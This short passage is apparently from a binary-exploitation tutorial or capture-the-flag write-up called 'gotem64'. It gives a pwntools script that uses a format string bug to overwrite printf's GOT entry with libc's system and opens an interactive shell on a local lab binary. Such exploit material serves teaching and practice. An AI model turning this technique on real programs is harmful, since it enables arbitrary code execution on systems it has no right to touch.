gotem64
Repeating a GOT overwrite in 64-bit.
from pwn import *
elf = context.binary = ELF('./gotem64')
libc = elf.libc
libc.address = 0x00007ffff7c00000
p = process()
payload = fmtstr_payload(6, {elf.got.printf : libc.sym.system})
p.recvline()
p.sendline(payload)
p.interactive()Last updated